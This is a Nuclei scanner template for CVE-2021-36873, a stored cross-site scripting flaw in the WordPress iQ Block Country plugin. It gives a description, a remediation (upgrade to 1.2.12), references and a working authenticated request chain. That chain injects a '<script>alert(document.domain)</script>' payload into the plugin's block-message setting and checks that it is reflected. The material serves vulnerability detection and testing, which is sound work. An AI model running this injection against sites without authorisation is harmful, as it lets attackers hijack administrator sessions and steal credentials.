WordPress iQ Block Country plugin 1.2.11 and prior contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: CVE-2021-36873
info:
name: WordPress iQ Block Country <=1.2.11 - Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
WordPress iQ Block Country plugin 1.2.11 and prior contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
remediation: |
Update to the latest version of the WordPress iQ Block Country plugin (>=1.2.12) to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/ba93f085-2153-439b-9cda-7c5b09d3ed58
- https://wordpress.org/plugins/iq-block-country/
- https://patchstack.com/database/vulnerability/iq-block-country-/wordpress-iq-block-country-plugin-1-2-11-authenticated-persistent-cross-site-scripting-xss-vulnerability
- https://nvd.nist.gov/vuln/detail/CVE-2021-36873
- https://wordpress.org/plugins/iq-block-country/#developers
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2021-36873
cwe-id: CWE-79
epss-score: 0.03219
epss-percentile: 0.86573
cpe: cpe:2.3:a:webence:iq_block_country:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 4
vendor: webence
product: iq_block_country
framework: wordpress
tags: cve,cve2021,wp-plugin,iq-block-country,wordpress,wp,xss,authenticated,wpscan,webence
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/options.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
option_page=iqblockcountry-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Diq-block-country%2Flibs%2Fblockcountry-settings.php&blockcountry_blockmessage=test</textarea><script>alert(document.domain)</script>&blockcountry_redirect=2&blockcountry_redirect_url=&blockcountry_header=on&blockcountry_nrstatistics=15&blockcountry_daysstatistics=30&blockcountry_geoapikey=&blockcountry_apikey=&blockcountry_ipoverride=NONE&blockcountry_debuglogging=on
- |
GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains(header_4, "text/html")
- status_code_4 == 200
- contains(body_4, 'blockcountry_blockmessage\">test</textarea><script>alert(document.domain)</script>')
- contains(body_4, '<h3>Block type</h3>')
condition: and
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
internal: true
# digest: 4a0a00473045022100ce1eaf7f49332977936d6c5847b2efc5332e8ee4c0dba6cc9ed38d1f129f6cc102206efaf794b59bb53b3ddb070182dfee92894cd20b48792ba3c942b33241f0c4a5:922c64590222798bb761d5b6d8e72950